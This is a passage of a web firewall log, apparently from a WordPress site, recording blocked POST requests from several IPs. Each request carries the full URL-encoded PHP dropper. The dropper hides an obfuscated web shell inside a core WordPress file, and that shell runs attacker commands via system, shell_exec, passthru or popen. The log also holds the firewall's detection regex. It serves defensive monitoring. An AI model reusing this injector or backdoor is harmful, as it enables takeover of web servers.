20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:45:39","144.76.215.54","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> xa:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-language-pack-upgrader.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524data_storage%2520%253D%2520%2522h%255Cx65x%255Cx32%255Cx62in%2522%253B%2520%2524hub_center1%2520%253D%2520%2522s%255Cx79stem%2522%253B%2520%2524hub_center6%2520%253D%2520%2522%255Cx73%255Cx74r%255Cx65a%255Cx6D_g%255Cx65t_c%255Cx6F%255Cx6E%255Cx74ents%2522%253B%2520%2524hub_center3%2520%253D%2520%2522ex%255Cx65%255Cx63%2522%253B%2520%2524hub_center5%2520%253D%2520%2522popen%2522%253B%2520%2524hub_center7%2520%253D%2520%2522pcl%255Cx6Fs%255Cx65%2522%253B%2520%2524hub_center4%2520%253D%2520%2522%255Cx70%255Cx61ss%255Cx74%255Cx68ru%2522%253B%2520%2524hub_center2%2520%253D%2520%2522sh%255Cx65l%255Cx6C%255Cx5F%255Cx65x%255Cx65c%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522r%255Cx65%255Cx66er%255Cx65%255Cx6Ece%2522%255D%2529%2529%2520%257B%2520function%2520auth_exception_handler%2520%2528%2520%2524pointer%2520%252C%2520%2524obj%2520%2529%2520%257B%2520%2524binding%2520%253D%2520%2527%2527%253B%2520%2524s%253D0%253B%2520while%2528%2524s%253Cstrlen%2528%2524pointer%2529%2529%257B%2520%2524binding.%253Dchr%2528ord%2528%2524pointer%255B%2524s%255D%2529%255E%2524obj%2529%253B%2520%2524s%252B%252B%253B%2520%257D%2520return%2520%2524binding%253B%2520%257D%2520%2524reference%2520%253D%2520%2524data_storage%2528%2524_POST%255B%2522r%255Cx65%255Cx66er%255Cx65%255Cx6Ece%2522%255D%2529%253B%2520%2524reference%2520%253D%2520auth_exception_handler%2528%2524reference%252C%252030%2529%253B%2520if%2520%2528function_exists%2528%2524hub_center1%2529%2529%2520%257B%2520%2524hub_center1%2528%2524reference%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center2%2529%2529%2520%257B%2520print%2520%2524hub_center2%2528%2524reference%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center3%2529%2529%2520%257B%2520%2524hub_center3%2528%2524reference%252C%2520%2524ent_pointer%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524ent_pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center4%2529%2529%2520%257B%2520%2524hub_center4%2528%2524reference%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center5%2529%2520%2526%2526%2520function_exists%2528%2524hub_center6%2529%2520%2526%2526%2520function_exists%2528%2524hub_center7%2529%2529%2520%257B%2520%2524obj_binding%2520%253D%2520%2524hub_center5%2528%2524reference%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524obj_binding%2529%2520%257B%2520%2524entry_property_set%2520%253D%2520%2524hub_center6%2528%2524obj_binding%2529%253B%2520%2524hub_center7%2528%2524obj_binding%2529%253B%2520print%2520%2524entry_property_set%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:5322\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrTRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz1vK2AioaMypaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nxa=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-language-pack-upgrader.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524data_storage%2520%253D%2520%2522h%255Cx65x%255Cx32%255Cx62in%2522%253B%2520%2524hub_center1%2520%253D%2520%2522s%255Cx79stem%2522%253B%2520%2524hub_center6%2520%253D%2520%2522%255Cx73%255Cx74r%255Cx65a%255Cx6D_g%255Cx65t_c%255Cx6F%255Cx6E%255Cx74ents%2522%253B%2520%2524hub_center3%2520%253D%2520%2522ex%255Cx65%255Cx63%2522%253B%2520%2524hub_center5%2520%253D%2520%2522popen%2522%253B%2520%2524hub_center7%2520%253D%2520%2522pcl%255Cx6Fs%255Cx65%2522%253B%2520%2524hub_center4%2520%253D%2520%2522%255Cx70%255Cx61ss%255Cx74%255Cx68ru%2522%253B%2520%2524hub_center2%2520%253D%2520%2522sh%255Cx65l%255Cx6C%255Cx5F%255Cx65x%255Cx65c%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522r%255Cx65%255Cx66er%255Cx65%255Cx6Ece%2522%255D%2529%2529%2520%257B%2520function%2520auth_exception_handler%2520%2528%2520%2524pointer%2520%252C%2520%2524obj%2520%2529%2520%257B%2520%2524binding%2520%253D%2520%2527%2527%253B%2520%2524s%253D0%253B%2520while%2528%2524s%253Cstrlen%2528%2524pointer%2529%2529%257B%2520%2524binding.%253Dchr%2528ord%2528%2524pointer%255B%2524s%255D%2529%255E%2524obj%2529%253B%2520%2524s%252B%252B%253B%2520%257D%2520return%2520%2524binding%253B%2520%257D%2520%2524reference%2520%253D%2520%2524data_storage%2528%2524_POST%255B%2522r%255Cx65%255Cx66er%255Cx65%255Cx6Ece%2522%255D%2529%253B%2520%2524reference%2520%253D%2520auth_exception_handler%2528%2524reference%252C%252030%2529%253B%2520if%2520%2528function_exists%2528%2524hub_center1%2529%2529%2520%257B%2520%2524hub_center1%2528%2524reference%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center2%2529%2529%2520%257B%2520print%2520%2524hub_center2%2528%2524reference%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center3%2529%2529%2520%257B%2520%2524hub_center3%2528%2524reference%252C%2520%2524ent_pointer%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524ent_pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center4%2529%2529%2520%257B%2520%2524hub_center4%2528%2524reference%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center5%2529%2520%2526%2526%2520function_exists%2528%2524hub_center6%2529%2520%2526%2526%2520function_exists%2528%2524hub_center7%2529%2529%2520%257B%2520%2524obj_binding%2520%253D%2520%2524hub_center5%2528%2524reference%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524obj_binding%2529%2520%257B%2520%2524entry_property_set%2520%253D%2520%2524hub_center6%2528%2524obj_binding%2529%253B%2520%2524hub_center7%2528%2524obj_binding%2529%253B%2520print%2520%2524entry_property_set%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:45:42","123.30.233.13","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-language-pack-upgrader.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524data_storage%2520%253D%2520%2522h%255Cx65x%255Cx32%255Cx62in%2522%253B%2520%2524hub_center1%2520%253D%2520%2522s%255Cx79stem%2522%253B%2520%2524hub_center6%2520%253D%2520%2522%255Cx73%255Cx74r%255Cx65a%255Cx6D_g%255Cx65t_c%255Cx6F%255Cx6E%255Cx74ents%2522%253B%2520%2524hub_center3%2520%253D%2520%2522ex%255Cx65%255Cx63%2522%253B%2520%2524hub_center5%2520%253D%2520%2522popen%2522%253B%2520%2524hub_center7%2520%253D%2520%2522pcl%255Cx6Fs%255Cx65%2522%253B%2520%2524hub_center4%2520%253D%2520%2522%255Cx70%255Cx61ss%255Cx74%255Cx68ru%2522%253B%2520%2524hub_center2%2520%253D%2520%2522sh%255Cx65l%255Cx6C%255Cx5F%255Cx65x%255Cx65c%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522r%255Cx65%255Cx66er%255Cx65%255Cx6Ece%2522%255D%2529%2529%2520%257B%2520function%2520auth_exception_handler%2520%2528%2520%2524pointer%2520%252C%2520%2524obj%2520%2529%2520%257B%2520%2524binding%2520%253D%2520%2527%2527%253B%2520%2524s%253D0%253B%2520while%2528%2524s%253Cstrlen%2528%2524pointer%2529%2529%257B%2520%2524binding.%253Dchr%2528ord%2528%2524pointer%255B%2524s%255D%2529%255E%2524obj%2529%253B%2520%2524s%252B%252B%253B%2520%257D%2520return%2520%2524binding%253B%2520%257D%2520%2524reference%2520%253D%2520%2524data_storage%2528%2524_POST%255B%2522r%255Cx65%255Cx66er%255Cx65%255Cx6Ece%2522%255D%2529%253B%2520%2524reference%2520%253D%2520auth_exception_handler%2528%2524reference%252C%252030%2529%253B%2520if%2520%2528function_exists%2528%2524hub_center1%2529%2529%2520%257B%2520%2524hub_center1%2528%2524reference%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center2%2529%2529%2520%257B%2520print%2520%2524hub_center2%2528%2524reference%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center3%2529%2529%2520%257B%2520%2524hub_center3%2528%2524reference%252C%2520%2524ent_pointer%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524ent_pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center4%2529%2529%2520%257B%2520%2524hub_center4%2528%2524reference%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center5%2529%2520%2526%2526%2520function_exists%2528%2524hub_center6%2529%2520%2526%2526%2520function_exists%2528%2524hub_center7%2529%2529%2520%257B%2520%2524obj_binding%2520%253D%2520%2524hub_center5%2528%2524reference%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524obj_binding%2529%2520%257B%2520%2524entry_property_set%2520%253D%2520%2524hub_center6%2528%2524obj_binding%2529%253B%2520%2524hub_center7%2528%2524obj_binding%2529%253B%2520print%2520%2524entry_property_set%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\ncontent-length:5345\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-mode:navigate\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nhost:dewenlabels.com\nsec-ch-ua-mobile:?0\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-language-pack-upgrader.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524data_storage%2520%253D%2520%2522h%255Cx65x%255Cx32%255Cx62in%2522%253B%2520%2524hub_center1%2520%253D%2520%2522s%255Cx79stem%2522%253B%2520%2524hub_center6%2520%253D%2520%2522%255Cx73%255Cx74r%255Cx65a%255Cx6D_g%255Cx65t_c%255Cx6F%255Cx6E%255Cx74ents%2522%253B%2520%2524hub_center3%2520%253D%2520%2522ex%255Cx65%255Cx63%2522%253B%2520%2524hub_center5%2520%253D%2520%2522popen%2522%253B%2520%2524hub_center7%2520%253D%2520%2522pcl%255Cx6Fs%255Cx65%2522%253B%2520%2524hub_center4%2520%253D%2520%2522%255Cx70%255Cx61ss%255Cx74%255Cx68ru%2522%253B%2520%2524hub_center2%2520%253D%2520%2522sh%255Cx65l%255Cx6C%255Cx5F%255Cx65x%255Cx65c%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522r%255Cx65%255Cx66er%255Cx65%255Cx6Ece%2522%255D%2529%2529%2520%257B%2520function%2520auth_exception_handler%2520%2528%2520%2524pointer%2520%252C%2520%2524obj%2520%2529%2520%257B%2520%2524binding%2520%253D%2520%2527%2527%253B%2520%2524s%253D0%253B%2520while%2528%2524s%253Cstrlen%2528%2524pointer%2529%2529%257B%2520%2524binding.%253Dchr%2528ord%2528%2524pointer%255B%2524s%255D%2529%255E%2524obj%2529%253B%2520%2524s%252B%252B%253B%2520%257D%2520return%2520%2524binding%253B%2520%257D%2520%2524reference%2520%253D%2520%2524data_storage%2528%2524_POST%255B%2522r%255Cx65%255Cx66er%255Cx65%255Cx6Ece%2522%255D%2529%253B%2520%2524reference%2520%253D%2520auth_exception_handler%2528%2524reference%252C%252030%2529%253B%2520if%2520%2528function_exists%2528%2524hub_center1%2529%2529%2520%257B%2520%2524hub_center1%2528%2524reference%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center2%2529%2529%2520%257B%2520print%2520%2524hub_center2%2528%2524reference%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center3%2529%2529%2520%257B%2520%2524hub_center3%2528%2524reference%252C%2520%2524ent_pointer%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524ent_pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center4%2529%2529%2520%257B%2520%2524hub_center4%2528%2524reference%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center5%2529%2520%2526%2526%2520function_exists%2528%2524hub_center6%2529%2520%2526%2526%2520function_exists%2528%2524hub_center7%2529%2529%2520%257B%2520%2524obj_binding%2520%253D%2520%2524hub_center5%2528%2524reference%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524obj_binding%2529%2520%257B%2520%2524entry_property_set%2520%253D%2520%2524hub_center6%2528%2524obj_binding%2529%253B%2520%2524hub_center7%2528%2524obj_binding%2529%253B%2520print%2520%2524entry_property_set%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 10:45:44","160.250.186.220","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> PP:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-language-pack-upgrader.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524data_storage%2520%253D%2520%2522h%255Cx65x%255Cx32%255Cx62in%2522%253B%2520%2524hub_center1%2520%253D%2520%2522s%255Cx79stem%2522%253B%2520%2524hub_center6%2520%253D%2520%2522%255Cx73%255Cx74r%255Cx65a%255Cx6D_g%255Cx65t_c%255Cx6F%255Cx6E%255Cx74ents%2522%253B%2520%2524hub_center3%2520%253D%2520%2522ex%255Cx65%255Cx63%2522%253B%2520%2524hub_center5%2520%253D%2520%2522popen%2522%253B%2520%2524hub_center7%2520%253D%2520%2522pcl%255Cx6Fs%255Cx65%2522%253B%2520%2524hub_center4%2520%253D%2520%2522%255Cx70%255Cx61ss%255Cx74%255Cx68ru%2522%253B%2520%2524hub_center2%2520%253D%2520%2522sh%255Cx65l%255Cx6C%255Cx5F%255Cx65x%255Cx65c%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522r%255Cx65%255Cx66er%255Cx65%255Cx6Ece%2522%255D%2529%2529%2520%257B%2520function%2520auth_exception_handler%2520%2528%2520%2524pointer%2520%252C%2520%2524obj%2520%2529%2520%257B%2520%2524binding%2520%253D%2520%2527%2527%253B%2520%2524s%253D0%253B%2520while%2528%2524s%253Cstrlen%2528%2524pointer%2529%2529%257B%2520%2524binding.%253Dchr%2528ord%2528%2524pointer%255B%2524s%255D%2529%255E%2524obj%2529%253B%2520%2524s%252B%252B%253B%2520%257D%2520return%2520%2524binding%253B%2520%257D%2520%2524reference%2520%253D%2520%2524data_storage%2528%2524_POST%255B%2522r%255Cx65%255Cx66er%255Cx65%255Cx6Ece%2522%255D%2529%253B%2520%2524reference%2520%253D%2520auth_exception_handler%2528%2524reference%252C%252030%2529%253B%2520if%2520%2528function_exists%2528%2524hub_center1%2529%2529%2520%257B%2520%2524hub_center1%2528%2524reference%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center2%2529%2529%2520%257B%2520print%2520%2524hub_center2%2528%2524reference%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center3%2529%2529%2520%257B%2520%2524hub_center3%2528%2524reference%252C%2520%2524ent_pointer%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524ent_pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center4%2529%2529%2520%257B%2520%2524hub_center4%2528%2524reference%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center5%2529%2520%2526%2526%2520function_exists%2528%2524hub_center6%2529%2520%2526%2526%2520function_exists%2528%2524hub_center7%2529%2529%2520%257B%2520%2524obj_binding%2520%253D%2520%2524hub_center5%2528%2524reference%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524obj_binding%2529%2520%257B%2520%2524entry_property_set%2520%253D%2520%2524hub_center6%2528%2524obj_binding%2529%253B%2520%2524hub_center7%2528%2524obj_binding%2529%253B%2520print%2520%2524entry_property_set%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:5322\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHSNvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nPP=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-language-pack-upgrader.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524data_storage%2520%253D%2520%2522h%255Cx65x%255Cx32%255Cx62in%2522%253B%2520%2524hub_center1%2520%253D%2520%2522s%255Cx79stem%2522%253B%2520%2524hub_center6%2520%253D%2520%2522%255Cx73%255Cx74r%255Cx65a%255Cx6D_g%255Cx65t_c%255Cx6F%255Cx6E%255Cx74ents%2522%253B%2520%2524hub_center3%2520%253D%2520%2522ex%255Cx65%255Cx63%2522%253B%2520%2524hub_center5%2520%253D%2520%2522popen%2522%253B%2520%2524hub_center7%2520%253D%2520%2522pcl%255Cx6Fs%255Cx65%2522%253B%2520%2524hub_center4%2520%253D%2520%2522%255Cx70%255Cx61ss%255Cx74%2